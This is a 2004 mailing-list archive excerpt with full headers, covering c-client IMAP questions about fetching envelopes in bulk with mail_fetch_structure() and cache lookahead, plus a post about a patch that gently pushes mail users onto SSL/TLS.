Probability=7%, Report='__CT 0, __CTE 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_VERSION 0, __SANE_MSGID 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN What I want to do is get the list of messages back with all the info with one call and the loop through all the messages that came back. Not make 15,000 requests to server for 15,000 messages. Mark Crispin wrote: > On Wed, 8 Sep 2004, Shawn Walker wrote: > >> How do I get mail_fetch_fast() to get the ENVELOPE along with "UID >> INTERNALDATE RFC822.SIZE FLAGS" for IMAP, so this is what I want >> c-client to send to the server "(UID INTERNALDATE RFC822.SIZE FLAGS >> ENVELOPE)". > > > You don't. You use mail_fetch_structure() instead. > > -- Mark -- > > http://staff.washington.edu/mrc > Science does not emerge from voting, party politics, or public debate. > Si vis pacem, para bellum. From pinedev@shivax2.cac.washington.edu Wed Sep 8 15:35:36 2004 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Wed, 8 Sep 2004 15:35:36 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i88MZavd013104 for ; Wed, 8 Sep 2004 15:35:36 -0700 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx2.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i88MZXsE029423 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Wed, 8 Sep 2004 15:35:34 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with SMTP id i88MXfia012620; Wed, 8 Sep 2004 15:33:41 -0700 Received: from mxi3.u.washington.edu (mxi3.u.washington.edu [140.142.32.176]) by lists.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i88MWtiZ064504 for ; Wed, 8 Sep 2004 15:32:55 -0700 Received: from mxout5.cac.washington.edu (mxout5.cac.washington.edu [140.142.32.135]) by mxi3.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.09) with ESMTP id i88MWs0o010915 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Wed, 8 Sep 2004 15:32:54 -0700 Received: from smtp.washington.edu (smtp.washington.edu [140.142.33.9]) by mxout5.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i88MWsNZ006291; Wed, 8 Sep 2004 15:32:54 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (tomobiki-cho.cac.washington.edu [128.95.135.58]) (authenticated bits=0) by smtp.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i88MWrT4020080 (version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT); Wed, 8 Sep 2004 15:32:53 -0700 Message-Id: Date: Wed, 8 Sep 2004 15:32:54 -0700 (Pacific Daylight Time) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Shawn Walker Cc: c-client@u.washington.edu Subject: Re: mail_fetch_fast() and ENVELOPE In-Reply-To: <413F84DE.8010109@bynari.net> References: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Sender: mrc@ndcms.cac.washington.edu X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_VERSION 0, __SANE_MSGID 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Wed, 8 Sep 2004, Shawn Walker wrote: > What I want to do is get the list of messages back with all the info with one > call and the loop through all the messages that came back. Not make 15,000 > requests to server for 15,000 messages. You *must* call mail_fetch_structure() to get the envelope. If your application is using something like elt->private.msg.env, fix it *now* so that it does not do that; otherwise I guarantee that it will break in the future. mail_fetch_structure() does not necessarily send a request to the server. If the envelope is in the cache, it will return the cached value. There is a cache lookahead (that defaults to 20) which will fill the cache up to that number of messages ahead of the message you requested on a cache miss. If you really want to lookahead for all messages, then do: mail_parameters (NIL,SET_LOOKAHEAD,(void *) LONG_MAX); prior to your mail_fetch_structure() call. I don't recommend doing that. Envelopes are not part of the fast data, and there is no particular reason to believe that doing tag FETCH 1:15000 ENVELOPE will complete in anything approaching a reasonable timeframe. Good quality IMAP applications do not generally do a "download all messages" operation. Instead, they only fetch data as needed. Most users do not have screens that can display 15,000 messages at once, and most display toolkits allow for a "draw line method" in a scrolling view (which can in turn call mail_fetch_structure()) rather than requiring that the entire scrolled text be loaded at once. Similarly, most program-related processing of envelope data can be done via the SEARCH, SORT, and THREAD operations. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. From pinedev@shivax2.cac.washington.edu Wed Sep 8 15:45:51 2004 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Wed, 8 Sep 2004 15:45:51 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i88Mjpfw013416 for ; Wed, 8 Sep 2004 15:45:51 -0700 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx2.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i88MjmOF029735 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Wed, 8 Sep 2004 15:45:49 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with SMTP id i88Mincm012644; Wed, 8 Sep 2004 15:44:49 -0700 Received: from mxe3.u.washington.edu (mxe3.u.washington.edu [140.142.32.137]) by lists.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i88Mi08U116758 for ; Wed, 8 Sep 2004 15:44:00 -0700 Received: from mail.bynari.net (gw1.bynari.net [216.234.228.98]) by mxe3.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.09) with ESMTP id i88MhxEv013095 for ; Wed, 8 Sep 2004 15:43:59 -0700 Received: from localhost (localhost [127.0.0.1]) by mail.bynari.net (Postfix) with ESMTP id 4445D3E80F2; Wed, 8 Sep 2004 17:43:27 -0500 (CDT) Received: from mail.bynari.net ([127.0.0.1]) by localhost (mail.bynari.net [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id 29193-05; Wed, 8 Sep 2004 17:43:26 -0500 (CDT) Received: by mail.bynari.net (Postfix, from userid 404) id 507643E80F6; Wed, 8 Sep 2004 17:43:26 -0500 (CDT) Received: from [192.168.3.111] (redhook.bynari.net [192.168.3.111]) by mail.bynari.net (Postfix) with ESMTP id 422ED3E80F2; Wed, 8 Sep 2004 17:43:26 -0500 (CDT) Message-Id: <413F8B2E.5090607@bynari.net> Date: Wed, 08 Sep 2004 17:43:58 -0500 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Shawn Walker To: Mark Crispin Cc: c-client@u.washington.edu Subject: Re: mail_fetch_fast() and ENVELOPE In-Reply-To: References: <413F827C.2040702@bynari.net> <413F84DE.8010109@bynari.net> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-Accept-Language: en-us, en X-Virus-Scanned: by amavisd-new at bynari.net X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CTE 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_VERSION 0, __SANE_MSGID 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN I'm not using "elt->private.msg.env". I just want to be able to get the response that IMAP server returned from the fast command. I have no choice but to download all the message headers but I want to get them all at once with one request and many responses which will be much faster than 15,000 requests and 15,000 responses. But what I'm trying to do is get all the message header (no bodies) to be able to display the list of messages in a folder. Blame MS for the bad implementation of how Outlook work. ;) Shawn Mark Crispin wrote: > On Wed, 8 Sep 2004, Shawn Walker wrote: > >> What I want to do is get the list of messages back with all the info >> with one call and the loop through all the messages that came back. >> Not make 15,000 requests to server for 15,000 messages. > > > You *must* call mail_fetch_structure() to get the envelope. > > If your application is using something like elt->private.msg.env, fix it > *now* so that it does not do that; otherwise I guarantee that it will > break in the future. > > mail_fetch_structure() does not necessarily send a request to the > server. If the envelope is in the cache, it will return the cached > value. There is a cache lookahead (that defaults to 20) which will fill > the cache up to that number of messages ahead of the message you > requested on a cache miss. > > If you really want to lookahead for all messages, then do: > mail_parameters (NIL,SET_LOOKAHEAD,(void *) LONG_MAX); > prior to your mail_fetch_structure() call. > > I don't recommend doing that. Envelopes are not part of the fast data, > and there is no particular reason to believe that doing > tag FETCH 1:15000 ENVELOPE > will complete in anything approaching a reasonable timeframe. > > Good quality IMAP applications do not generally do a "download all > messages" operation. Instead, they only fetch data as needed. Most > users do not have screens that can display 15,000 messages at once, and > most display toolkits allow for a "draw line method" in a scrolling view > (which can in turn call mail_fetch_structure()) rather than requiring > that the entire scrolled text be loaded at once. Similarly, most > program-related processing of envelope data can be done via the SEARCH, > SORT, and THREAD operations. > > -- Mark -- > > http://staff.washington.edu/mrc > Science does not emerge from voting, party politics, or public debate. > Si vis pacem, para bellum. From pinedev@shivax2.cac.washington.edu Wed Sep 8 15:52:11 2004 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Wed, 8 Sep 2004 15:52:11 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i88MqBfe013677 for ; Wed, 8 Sep 2004 15:52:11 -0700 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx1.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i88Mq8Nn017135 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Wed, 8 Sep 2004 15:52:09 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with SMTP id i88MpCQ9007466; Wed, 8 Sep 2004 15:51:12 -0700 Received: from mxi2.u.washington.edu (mxi2.u.washington.edu [140.142.33.12]) by lists.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i88MogFr052470 for ; Wed, 8 Sep 2004 15:50:42 -0700 Received: from mxout6.cac.washington.edu (mxout6.cac.washington.edu [140.142.33.20]) by mxi2.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.09) with ESMTP id i88MofDY016647 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Wed, 8 Sep 2004 15:50:42 -0700 Received: from smtp.washington.edu (smtp.washington.edu [140.142.33.9]) by mxout6.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i88Mof1u022671; Wed, 8 Sep 2004 15:50:41 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (tomobiki-cho.cac.washington.edu [128.95.135.58]) (authenticated bits=0) by smtp.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i88MoeQ1022652 (version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT); Wed, 8 Sep 2004 15:50:41 -0700 Message-Id: Date: Wed, 8 Sep 2004 15:50:42 -0700 (Pacific Daylight Time) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Shawn Walker Cc: c-client@u.washington.edu Subject: Re: mail_fetch_fast() and ENVELOPE In-Reply-To: <413F8B2E.5090607@bynari.net> References: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Sender: mrc@ndcms.cac.washington.edu X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_VERSION 0, __SANE_MSGID 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Wed, 8 Sep 2004, Shawn Walker wrote: > I have no choice but to download all the message headers Why? > but I want to get > them all at once with one request and many responses which will be much > faster than 15,000 requests and 15,000 responses. Actually, the cache lookahead means that it will be more like 750 requests. If you do the mail_parameters (NIL,SET_LOOKAHEAD,(void *) LONG_MAX); call then you'll get one request. > But what I'm trying to do is get all the message header (no bodies) to be > able to display the list of messages in a folder. Blame MS for the bad > implementation of how Outlook work. ;) What does Outlook have to do with this? -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. From pinedev@shivax2.cac.washington.edu Wed Sep 8 15:59:54 2004 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Wed, 8 Sep 2004 15:59:54 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i88Mxs5n013928 for ; Wed, 8 Sep 2004 15:59:54 -0700 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx1.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i88Mxp0P017373 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Wed, 8 Sep 2004 15:59:52 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with SMTP id i88Mx6dD007488; Wed, 8 Sep 2004 15:59:06 -0700 Received: from mxe7.u.washington.edu (mxe7.u.washington.edu [140.142.32.169]) by lists.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i88MwZ73064440 for ; Wed, 8 Sep 2004 15:58:36 -0700 Received: from mail.bynari.net (gw1.bynari.net [216.234.228.98]) by mxe7.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.09) with ESMTP id i88MwYqG019546 for ; Wed, 8 Sep 2004 15:58:35 -0700 Received: from localhost (localhost [127.0.0.1]) by mail.bynari.net (Postfix) with ESMTP id 783E43E8016; Wed, 8 Sep 2004 17:58:02 -0500 (CDT) Received: from mail.bynari.net ([127.0.0.1]) by localhost (mail.bynari.net [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id 31416-01; Wed, 8 Sep 2004 17:58:01 -0500 (CDT) Received: by mail.bynari.net (Postfix, from userid 404) id C95CF3E80F2; Wed, 8 Sep 2004 17:58:01 -0500 (CDT) Received: from [192.168.3.111] (redhook.bynari.net [192.168.3.111]) by mail.bynari.net (Postfix) with ESMTP id AF3663E8016; Wed, 8 Sep 2004 17:58:01 -0500 (CDT) Message-Id: <413F8E99.5070901@bynari.net> Date: Wed, 08 Sep 2004 17:58:33 -0500 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Shawn Walker To: Mark Crispin Cc: c-client@u.washington.edu Subject: Re: mail_fetch_fast() and ENVELOPE In-Reply-To: References: <413F827C.2040702@bynari.net> <413F84DE.8010109@bynari.net> <413F8B2E.5090607@bynari.net> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-Accept-Language: en-us, en X-Virus-Scanned: by amavisd-new at bynari.net X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CTE 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_VERSION 0, __SANE_MSGID 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Mark Crispin wrote: > On Wed, 8 Sep 2004, Shawn Walker wrote: > >> I have no choice but to download all the message headers > > Why? Because we have no way of knowing what messages that the user want to see. Outlook just say "Give me the contents of this folder". Nothing about saying "give me 1000 messages", though that could be a user's option but we are talking about users that have used Outlook and are used to seeing 15,000 messages in a folder (believe me, there are users out there and have dealt with them before) and so that is what they want to see. As for the Contacts, Appointment, Tasks, Todo and etc folders, there is simply no way that we could limit how many not to return to the user, we have no way of know what is important to a user to see in thier appointment, contacts, etc. > >> but I want to get them all at once with one request and many responses >> which will be much faster than 15,000 requests and 15,000 responses. > > Actually, the cache lookahead means that it will be more like 750 > requests. If you do the > mail_parameters (NIL,SET_LOOKAHEAD,(void *) LONG_MAX); > call then you'll get one request. I will try that. > >> But what I'm trying to do is get all the message header (no bodies) to >> be able to display the list of messages in a folder. Blame MS for the >> bad implementation of how Outlook work. ;) > > What does Outlook have to do with this? > > -- Mark -- > > http://staff.washington.edu/mrc > Science does not emerge from voting, party politics, or public debate. > Si vis pacem, para bellum. From pinedev@shivax2.cac.washington.edu Wed Sep 8 16:02:27 2004 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Wed, 8 Sep 2004 16:02:27 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i88N2Rcu014022 for ; Wed, 8 Sep 2004 16:02:27 -0700 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx2.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i88N2OkB030392 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Wed, 8 Sep 2004 16:02:25 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with SMTP id i88N1VsG013914; Wed, 8 Sep 2004 16:01:32 -0700 Received: from mxi3.u.washington.edu (mxi3.u.washington.edu [140.142.32.176]) by lists.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i88N10sf041362 for ; Wed, 8 Sep 2004 16:01:00 -0700 Received: from mxout6.cac.washington.edu (mxout6.cac.washington.edu [140.142.33.20]) by mxi3.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.09) with ESMTP id i88N0xB0018018 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Wed, 8 Sep 2004 16:00:59 -0700 Received: from smtp.washington.edu (smtp.washington.edu [140.142.32.139]) by mxout6.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i88N0xKG024651; Wed, 8 Sep 2004 16:00:59 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (tomobiki-cho.cac.washington.edu [128.95.135.58]) (authenticated bits=0) by smtp.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i88N0wBZ021271 (version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT); Wed, 8 Sep 2004 16:00:59 -0700 Message-Id: Date: Wed, 8 Sep 2004 16:01:00 -0700 (Pacific Daylight Time) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Shawn Walker Cc: c-client@u.washington.edu Subject: Re: mail_fetch_fast() and ENVELOPE In-Reply-To: <413F8E99.5070901@bynari.net> References: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Sender: mrc@ndcms.cac.washington.edu X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_VERSION 0, __SANE_MSGID 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Wed, 8 Sep 2004, Shawn Walker wrote: > Because we have no way of knowing what messages that the user want to see. > Outlook just say "Give me the contents of this folder". I still don't understand. Are you writing replacement IMAP client code for the existing code in Outlook? -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. From pinedev@shivax2.cac.washington.edu Wed Sep 8 16:05:10 2004 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Wed, 8 Sep 2004 16:05:10 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i88N5ArJ014231 for ; Wed, 8 Sep 2004 16:05:10 -0700 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx1.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i88N573a017631 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Wed, 8 Sep 2004 16:05:08 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with SMTP id i88N4J1c013940; Wed, 8 Sep 2004 16:04:19 -0700 Received: from mxe4.u.washington.edu (mxe4.u.washington.edu [140.142.33.15]) by lists.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i88N3ur9041452 for ; Wed, 8 Sep 2004 16:03:56 -0700 Received: from mail.bynari.net (gw1.bynari.net [216.234.228.98]) by mxe4.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.09) with ESMTP id i88N3uXB011786 for ; Wed, 8 Sep 2004 16:03:56 -0700 Received: from localhost (localhost [127.0.0.1]) by mail.bynari.net (Postfix) with ESMTP id 9CE1C3E8016; Wed, 8 Sep 2004 18:03:23 -0500 (CDT) Received: from mail.bynari.net ([127.0.0.1]) by localhost (mail.bynari.net [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id 31416-04; Wed, 8 Sep 2004 18:03:23 -0500 (CDT) Received: by mail.bynari.net (Postfix, from userid 404) id F2E1F3E80F2; Wed, 8 Sep 2004 18:03:22 -0500 (CDT) Received: from [192.168.3.111] (redhook.bynari.net [192.168.3.111]) by mail.bynari.net (Postfix) with ESMTP id D71283E8016; Wed, 8 Sep 2004 18:03:22 -0500 (CDT) Message-Id: <413F8FDA.6010307@bynari.net> Date: Wed, 08 Sep 2004 18:03:54 -0500 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Shawn Walker To: Mark Crispin Cc: c-client@u.washington.edu Subject: Re: mail_fetch_fast() and ENVELOPE In-Reply-To: References: <413F827C.2040702@bynari.net> <413F84DE.8010109@bynari.net> <413F8B2E.5090607@bynari.net> <413F8E99.5070901@bynari.net> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-Accept-Language: en-us, en X-Virus-Scanned: by amavisd-new at bynari.net X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CTE 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_VERSION 0, __SANE_MSGID 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Mark Crispin wrote: > On Wed, 8 Sep 2004, Shawn Walker wrote: > >> Because we have no way of knowing what messages that the user want to >> see. Outlook just say "Give me the contents of this folder". > > > I still don't understand. Are you writing replacement IMAP client code > for the existing code in Outlook? Yes. > > -- Mark -- > > http://staff.washington.edu/mrc > Science does not emerge from voting, party politics, or public debate. > Si vis pacem, para bellum. From pinedev@shivax2.cac.washington.edu Thu Sep 9 15:35:55 2004 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 9 Sep 2004 15:35:55 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i89MZtKh028423 for ; Thu, 9 Sep 2004 15:35:55 -0700 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx2.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i89MZqTQ010958 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Thu, 9 Sep 2004 15:35:52 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with SMTP id i89MYPkp012714; Thu, 9 Sep 2004 15:34:25 -0700 Received: from mxe2.u.washington.edu (mxe2.u.washington.edu [140.142.33.14]) by lists.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i89MWpod119880 for ; Thu, 9 Sep 2004 15:32:51 -0700 Received: from alternator.sgh.waw.pl (alternator.sgh.waw.pl [194.145.96.100]) by mxe2.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.09) with ESMTP id i89MWoiQ002613 for ; Thu, 9 Sep 2004 15:32:51 -0700 Received: from localhost (localhost [127.0.0.1]) by alternator.sgh.waw.pl (Postfix) with SMTP id E34B92AB3BF for ; Fri, 10 Sep 2004 00:32:49 +0200 (CEST) Received: from akson.sgh.waw.pl (akson.sgh.waw.pl [194.145.96.12]) by alternator.sgh.waw.pl (Postfix) with ESMTP id 3544A2AB339 for ; Fri, 10 Sep 2004 00:32:49 +0200 (CEST) Received: by akson.sgh.waw.pl (Postfix, from userid 100) id E761B3AF5; Fri, 10 Sep 2004 00:32:48 +0200 (CEST) Message-Id: <20040909223248.GX18636@sgh.waw.pl> Date: Fri, 10 Sep 2004 00:32:48 +0200 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Piotr KUCHARSKI To: c-client@u.washington.edu Subject: gently force ssl Mime-Version: 1.0 Content-Type: text/plain; charset=iso-8859-2 Content-Disposition: inline Content-Transfer-Encoding: 8bit X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__C230066_P5 0, __CD 0, __CT 0, __CTE 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_VERSION 0, __SANE_MSGID 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Hello, I recently thought it is about time to switch users to use SSL/TLS only when fetching mails. So I compiled with SSLTYPE=nopwd and... was overwhelmed with support calls about "my mail is not working". Having 30000+ users, I kind of expected that. Not the way to go. I've seen one or two fakepop3 servers and no fakeimap server. And since they would take 110/143 and not allow proper STARTTLS, I decided to make a patch to UW imapd and pop3d, so it would allow clients to use plaintext and instead of giving them their mail, give them only one mail with instructions what to do to enable SSL/TLS in their client. Now this one worked very nice. http://akson.sgh.waw.pl/~chopin/unix/imap-2004a+gently_force_ssl.diff It's rather quick and dirty, but it might be useful for some admins. Hey, maybe you will like it so much to include it in UW imap itself. :) It requires SSLTYPE=nopwd and I tested it only on Solaris with shadow passwords and real users. Most probably it could be tweaked for other needs. Few words about setup: I abused "imappublic" account, as it was already there (as required by installation), but this can be any account, give it some password (and put it in the proper place as patch shows), make its $HOME/mail readonly, create $HOME/.mailboxlist with "INBOX" line, also read only, create mailbox (in the patch: /var/mail/imappublic) to contain your message and also chmod it 0444 (so it is not possible to delete this message, obviously). To prevent clients from refetching this message over and over again, header like X-IMAPbase: 1094514934 1 should help. That's it. (Don't forget to point clients to some www page, where configuration of most popular programs is explained, step by step, image by image.) Security considerations: anyone can login to pop3/imap using plaintext and any username/password to read this message. Not too risky, I'd say. (Provided imappublic home, mail and .mailboxlist are read-only, so it is not possible to create new mailbox and keep some messages there!) p. PS Polish readers might want to see the mail and web page I made: http://akson.sgh.waw.pl/pomoc/bezpieczenstwo-list.html -- Beware of he who would deny you access to information, for in his heart he dreams himself your master. -- Commissioner Pravin Lal http://nerdquiz.sgh.waw.pl/ -- polska wersja quizu dla nerdów ;) -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Fri Sep 10 02:01:36 2004 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Fri, 10 Sep 2004 02:01:36 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i8A91a8R014133 for ; Fri, 10 Sep 2004 02:01:36 -0700 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx2.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i8A91Xlg028867 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Fri, 10 Sep 2004 02:01:34 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with SMTP id i8A90AxU010912; Fri, 10 Sep 2004 02:00:11 -0700 Received: from mxe1.u.washington.edu (mxe1.u.washington.edu [140.142.32.136]) by lists.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i8A8wvuT049768 for ; Fri, 10 Sep 2004 01:58:57 -0700 Received: from smtp013.mail.yahoo.com (smtp013.mail.yahoo.com [216.136.173.57]) by mxe1.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.09) with SMTP 